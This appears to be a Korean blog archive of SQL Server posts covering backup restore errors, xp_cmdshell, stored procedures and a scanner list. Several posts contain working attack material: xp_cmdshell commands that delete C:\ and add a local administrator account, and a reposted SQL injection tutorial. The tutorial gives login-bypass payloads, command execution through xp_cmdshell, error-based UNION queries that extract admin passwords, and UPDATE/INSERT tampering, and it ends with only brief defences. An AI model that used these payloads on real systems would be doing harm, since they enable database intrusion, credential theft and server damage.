"미디어 세트에 2개의 미디어 패밀리가 있지만 1개만 제공하고 있습니다. 모든 멤버를 제공해야 합니다."

오류발생.....

쿼리창에서 다음과 같이 명령을 실행시키셔서 백업 파일 셋트의 수를 확인해 보시기 바랍니다.

 

RESTORE LABELONLY FROM DISK='d:\TestDB1.bak'

위의 명령을 수행한 결과 중, FamilyCount가 백업을 할 때의 파일 (or 미디어)의 수를 의미합니다.

 

다음과 같은 예제로 설명드리겠습니다.

 

--데이터베이스 생성

CREATE DATABASE TestDB

ON (name='data1', filename='d:\data1.mdf')

LOG ON (name='log', filename='d:\log.ldf')

GO

 

--백업 수행(D:\Test1.bak, D:\Test2.bak에 나누어서 백업)

BACKUP DATABASE TestDB TO DISK='d:\TestDB1.bak' , DISK='d:\TestDB2.bak' WITH INIT

GO

 

--기존 데이터베이스 삭제

DROP DATABASE TestDB

GO

즉, TestDB라는 데이터베이스는 TestDB1.bak와 TestDB2.bak 라는 두 개의 파일에 백업이 되었습니다.

사용자 삽입 이미지

 








이 백업 파일을 이용해서 복원을 할 경우, 두 개의 파일 모두를 지정해야 제대로 되며, 하나만 지정해서 복원할 경우, 말씀하신 것과 같은 에러가 발생합니다.

사용자 삽입 이미지

 

 







사용자 삽입 이미지



이는 Management Studio에서도 동일합니다.

사용자 삽입 이미지


















이 경우, 장치 부분에서 나머지 백업 파일을 지정해야 에러 없이 복원이 가능합니다.

사용자 삽입 이미지

 

 


















처음에 백업을 받았을 때, 파일 또는 미디어들이 어떻게 설정되어 있는지 확인하시고, 복원시 이를 모두 지정해 주시기 바랍니다.

발줴 :
http://blog.naver.com/mok30224?Redirect=Log&logNo=40050168231

Comment 0

xp_cmdshell 활용2

SQL/Sql Injection 2008/05/29 15:29
안녕하세요?
xp_cmdshell 잘만 사용하면 굉장히 유용한 기능인데. 잘못사용하면 서버를 말아먹을수 있는 기능중의 하나입니다.
일반적으로 xp_cmdshell 을 이야기할때 보안과 관련되서 이야기 하는데요, 지금부터 한번 알아봅시다.

xp_cmdshell 이란
지정한 명령 문자열을 운영 체제 명령 셸로 실행하며 모든 출력을 텍스트의 행으로 반환합니다

문법
xp_cmdshell {'command_string'} [, no_output]

인수
'command_string'

운영 체제 명령 셸에서 실행하는 명령 문자열입니다. command_string은 varchar(255) 또는 nvarchar(4000)이며 기본값이 없습니다. command_string에는 큰따옴표가 두 집합 이상 포함될 수 없습니다. command_string에서 참조하는 프로그램 이름이나 파일 경로에 공백이 있는 경우 한 쌍의 따옴표가 필요합니다. 포함 공백에 문제가 있으면 해결 방법으로 FAT 8.3 파일 이름을 사용하십시오.

no_output

지정한 command_string을 실행하고 클라이언트에 출력을 반환하지 않는 선택적 매개 변수입니다.

반환 코드 값
0(성공) 또는 1(실패)

온라인 설명서에는 위와 같이 나와있는데요. 그냥 복잡하게 생각하지 마시고. 다음과 같은 쿼리를 날려보세요

xp_cmdshell 'dir c:\'

그러면 놀랍게도 쿼리 분석기에서 C:\ 에 대한 화일 목록이 출력 될것입니다.
이렇게 하면 어떻게 될까요?

xp_cmdshell 'del c:\'

재밋죠?

이와 같은 위험성 때문에 xp_cmdshell 은 기본적으로 관리자 외에는 사용할 수 없습니다.
만약 일반 유저에게 xp_cmdshell 의 사용 권한을 주고 싶으시면.
EM의 관리에 등록정보에 작업시스템에 가시면 'Sysadmin 권한이 있는사용자만 cmdexec와....'
이옵션을 비활성화 시켜주면 됩니다.

만약 네트웍 관리자라면 프로시저를 사용하여 다음과 같은 편리한 도구를 만들수 있습니다.
다음은 사용자에게 net send를 사용하여 SQL Server가 곧 종료된다는 것을 알리고 net pause를 사용하여 서버를 일시 중지한 다음, net stop을 사용하여 서버를 종료합니다.

CREATE PROC shutdown10
AS
EXEC xp_cmdshell 'net send /domain:SQL_USERS ''SQL Server shutting down
   in 10 minutes. No more connections allowed.', no_output
EXEC xp_cmdshell 'net pause sqlserver'
WAITFOR DELAY '00:05:00'
EXEC xp_cmdshell 'net send /domain: SQL_USERS ''SQL Server shutting down
   in 5 minutes.', no_output
WAITFOR DELAY '00:04:00'
EXEC xp_cmdshell 'net send /domain:SQL_USERS ''SQL Server shutting down
   in 1 minute. Log off now.', no_output
WAITFOR DELAY '00:01:00'
EXEC xp_cmdshell 'net stop sqlserver', no_output

그럼이만

발췌 : http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=39&MAEULNO=16&no=431
Comment 0

xp_cmdshell 활용1

SQL/Sql Injection 2008/05/29 15:24


xp_cmdshell 'net user Test 1234/add'
go
xp_cmdshell 'net localgroup administrators Test /add'
go

   xp_cmdshell
   xp_dirtree
   xp_regdeletekey
   xp_regenumvalues
   xp_regread
   xp_regwrite
   sp_makewebtask
   sp_adduser

위의 프로시저들은 필요없을 듯 하네요

Comment 0

모니터링 해야 할 중국 해킹 사이트

SQL/Sql Injection 2008/04/10 20:12

모니터링 해야 할 중국 해킹 사이트
http://www.cnhonker.com - 중국홍객연맹
http://www.xfocus.net - x-focus 팀,툴 제작
http://www.chinahacker.com - 중국흑객연맹
http://www.nsfocus.net - 중국녹색연맹
http://www.cnxhacker.com - 중국 X 해커 팀
http://www.eviloctal.com - evilocatal 팀 ,bbs 가 강점
http://www.ph4nt0m.org - 모의해킹
http://www.4ngel.com - Security angel team
http://www.chinaeagle.org - 중국매파
http://www.77169.org - 회화흑객동맹
http://www.hackbase.com - 해커기지
http://www.heibai.net - 흑백인터넷
http://www.cnredhacker.net - 홍객대연맹
http://www.hackerxfiles.net - 흑객X파일
http://www.schoolhacker.com - 학생흑객조직
http://www.hackvip.com
http://www.anqn.com
http://www.milw0rm.com


검색 앤진

http://www.baidu.com
http://sou.china.com/index.html 

Comment 0

파일 그룹이 꽉 차서 할당할 수 없다는 에러 메세지 해결

SQL 2008/04/03 14:27
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'PRIMARY' 파일 그룹이 꽉 차서 'Database_name' 데이터베이스의 'table' 개체에 공간을 할당할 수 없습니다.
/asp_file.asp, line 33

위와 같은 메시지는 하드 디스크 공간 또는 디비파일 자동증가가 설정되지 않아서 그렇다.

해결법은 디비파일 자동증가 설정을 하거나 하드공간확보, 로그파일 삭제가 있다.

 

Comment 0

Ad hoc ( 임시쿼리 ) 와 저장프로시저

SQL 2008/03/25 13:51

왜 저장 프로시저를 이용해야 하나?

많은 사람들이 T-SQL을 저장 프로시저로 변환해야만 한다고 이야기한다. 그 말이 맞을까? SQL 서버를 제외한 다른 데이터베이스의 경우에도 모두 저장 프로시저를 이용해야만 할까? 저장 프로시저에 반대되는 개념은 Ad-hoc 쿼리, 흔히 임시 쿼리라고 부르는 것들이다. 쿼리 분석기 열고 SELECT 어쩌고 쿼리를 날리게 되면 이것은 Ad-hoc 쿼리가 된다.
Ad-hoc 쿼리에 비해서 저장 프로시저는 항상 더 sk은 솔루션(Solution)일까? 대부분의 상용 RDBMS에서는 저장 프로시저를 지원하고 있고, 자주 사용되는 문들은 저장 프로시저로 작성하는 것을 권하고 있다. 물론, 그것은 저장 프로시저로 코드화 할 수 있는 경우를 이야기하는 것이다.
예를 들어 SQL 서버의 경우에는 저장 프로시저에서 여러 로우를 포함하는 Rowset을 반환할 수 있지만, 오라클에서는 참조 커서를 써야만 한다. SQL 서버에서 ADO를 통하는 경우 대부분의 Ad-hoc 쿼리들은 Auto-parameterization을 통해서 파라메터 바인딩을 지원한다. 물론 그렇다고 SQL 서버에서 Ad-hoc 쿼리가 많아지는 것이 바람직한 것은 아니다. 반면에 오라클에서는 바인드 옵션을 Force로 하지 않는 이상, Ad-hoc 쿼리들은 파라메터 바인딩 처리는 자동으로 되지 않는다. 오라클의 경우는 바인딩을 쓰지 않는 Ad-hoc 쿼리의 경우 보다 문제가 심각해질 수 있다.
여러 특성에도 불구하고 저장 프로시저는 일반적으로 Ad-hoc 쿼리보다 더 좋은 대안이 된다. 그 이유를 하나씩 살펴보자.

코드의 길이가 짧다.

가장 단순 명료한 이유이다. 간단히 몇 바이트의 명령으로 동일한 결과를 볼 수 있다면, 네트워크나 SQL 서버의 메모리 효율을 더 높여줄 수 있을 것이다. [리스트1]의 두 가지 코드는 동일한 역할을 수행하는 Northwind 카탈로그에 존재하는 CustOrderHist 라는 저장 프로시저와 저장 프로시저의 실제 코드를 비교한 것이다.
모두, 해당 고객 아이디를 인자로 받아서, 해당 고객의 주문 내역을 추적하는 역할을 수행한다. 하지만, 첫 번째 저장 프로시저는 서버로 24 바이트의 명령을 전송하면 되고, 두번째 Ad-hoc 쿼리는 그 보다 10배 많은 238 바이트의 명령을 전달해야만 한다.

<리스트 1> 저장 프로시저와 임시 쿼리 비교

-- 1. Stored Procedure, 24 Bytes
dbo.CustOrderHist "ANTON"

-- 2. Ad-hoc Query, 238 Bytes
SELECT ProductName, Total=SUM(Quantity)
FROM Products P, [Order Details] OD, Orders O, Customers C
WHERE C.CustomerID = "ANTON"
AND C.CustomerID = O.CustomerID AND O.OrderID = OD.OrderID AND OD.ProductID = P.ProductID
GROUP BY ProductName

라운드 트립(Round-trip이 적다)

저장 프로시저는 컴파일 된다.

기타 이유들

저장 프로시저를 이용하는 가장 큰 세가지 이유들을 이미 설명했다. 이외에도 저장 프로시저를 이용할 때 발생하는 여러 가지 장점들이 있다. 예를 들어 저장 프로시저를 이용하면 보안에 도움을 줄 수 있다. 왜냐하면, 저장 프로시저는 테이블로의 엑세스(Access)를 우회할 수 있기 때문이다. 테이블로의 직접적인 엑세스인 INSERT,UPDATE,DELETE를 제한하고 저장 프로시저를 통해서만 접근하도록 할 수 있다.
다른 이유는 저장 프로시저로 비지니스 로직을 반영할 수 있다는 것이다. 또한, 하나의 모듈 단위로 작성된 저장 프로시저의 경우, 다른 프로시저들에서 재사용이 가능한 부분도 있다. 이러한 장점들이 나타나는 이유는 저장 프로시저가 일종의 프로그래밍으로 그 코드 내에서 흐름과 제어가 가능하다는 데에 이유가 있으며, 이것이 일반적으로 프로그램 코드 상에서 구현되었던 로직을 저장 프로시저에서도 구현하는 것이 가능하다는 데에 있다.
그리고, 저장 프로시저 또한 일종의 서브루틴이나 함수와 같은 모듈이므로, 각 기능 단위 별로 최소한으로 분리시키는 것이 코드의 재사용성을 높일 수 있게 된다.


제공 : DB포탈사이트 DBguide.net


DB 관리자는 SQL 서버로 부터 OLEDB를 통한 ad hoc 쿼리를 허락하지 말아야 한다.
OLEDB 제공자를 통한 SQL 서버로부터 ad hoc 쿼리들은 레지스트리에서 DisallowAdhocaccess 값을
설정함으로써 조정될 수 있다. name instance를 사용한다면 레지스트리 키 값에 각각의 서브 키 아래에
DisallowAdhocaccess 값을 '1'로 적용한다.

MSSQL2000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB]
"AllowInProcess"=dword:00000001
"DisallowAdhocAccess"=dword:00000001

MSSQL2005

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL.1\Providers\SQLNCLI]
"AllowInProcess"=dword:00000001
"DisallowAdhocAccess"=dword:00000001

로 변경을 합니다.


 

Comment 0

Mssql 2005 클라이언트 프로그램

SQL/Mssql 2005 2008/03/20 10:29

Mssql 2005 클라이언트 프로그램 입니다.

http://www.microsoft.com/korea/msdn/vstudio/express/sql/download/

http://www.microsoft.com/downloads/details.aspx?FamilyID=c243a5ae-4bd1-4e3d-94b8-5a0f62bf7796&DisplayLang=ko


Comment 0

SQL 인젝션 기본

SQL/Sql Injection 2008/03/14 15:07
웹해킹 - SQL 인젝션
Summary
이 문서는 초보자들에게 많은 도움이 될것이다.
SQL Injection 테크닉들을 통해서 문제를 해결 하려고 노력하고, 그것들을 성공적으로 이용하기를 원하고, 또한 그러한 공격으로보터 자신을 방어하고자 하는 ........

Details
1.0 Introduction
============================================
서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
당신도 알다시피 관리자는 항상 서버를 패치한다.
우리는 웹해킹으로 관점을 돌려야 한다.
SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다.
SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
당신은 한 두가지를 더 발견할수 있을 것이다.
그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


1.1 What is SQL Injection?
-------------------------------------------------------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
-------------------------------------------------------------------------
어떤 브라우저라도 좋다.


2.0 What you should look for?
============================================
데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.



2.1 What if you can't find any page that takes input?
-------------------------------------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10



3.0 How do you test if it is vulnerable?
============================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
-------------------------------------------------------------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼 리는 product 테이블로 부터 모든것을 선택한다.
PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a



4.0 How do I get remote execution with SQL injection?
============================================
만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.



5.0 How to get output of my SQL query?
============================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.



6.0 How to get data from the database using ODBC error message
============================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


6.1 How to mine all column names of a table?
---------------------------------------------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
"password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


6.2 How to retrieve any data we want?
---------------------------------------------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


6.3 How to get numeric string value?
---------------------------------------------------------------------------
위에 설명한 테크닉에는 제한 사항이 있다.
만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='trinity'--

우 리는 "Page Not Found" 에러를 얻을 것이다.
정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1
convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--

우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.



7.0 How to update/insert data into the database?
============================================
우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login'
SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO
'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.



8.0 How to avoid SQL Injection?
============================================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
"Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
============================================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf


참고 : 일단 올리기했는데 작성한 분을 잘 모르겠습니다. 깊은 사과의 말씀을 드리고 어떤 고수분 글임을 참고하시기 바랍니다.

tags : sql injection
Comment 0

무료 SQL 인젝션 스캐너 15 제품 요약 정리

SQL/Sql Injection 2008/03/11 14:04
Security-Hacks에서, 무료로 제공되는 SQL 인젝션 스캐너 15개 제품의 요약 정보와 다운로드를 제공하는 글이 있어 이를 정리해서 올려 드립니다.

아 시다시피, SQL Injection 공격은 웹 페이지에서 데이터베이스를 액세스하는 방식을 통해 공격하는 것으로 대부분의 관리자들은 이러한 위협에 대비하여 코딩을 해야 하며, 웹 방화벽 장비나 웹 나이트와 같은 무료 보안 프로그램을 통해 보안을 향상시키는 방향으로 진행되는 것으로 알고 있습니다.

아래의 제품들은 여러분이 운영하는 사이트가 SQL Injection 공격에 대한 취약점이 있는지 자동으로 검사하여 이를 알려 주는 프로그램입니다. 참고로, 아래의 정보는 웹 애플리케이션 개발자 뿐만 아니라 보안 전문가에게도 유익한 프로그램입니다.

1. SQLIer - 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다. 다운로드 -x

2. SQLbftools - 블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드 -x

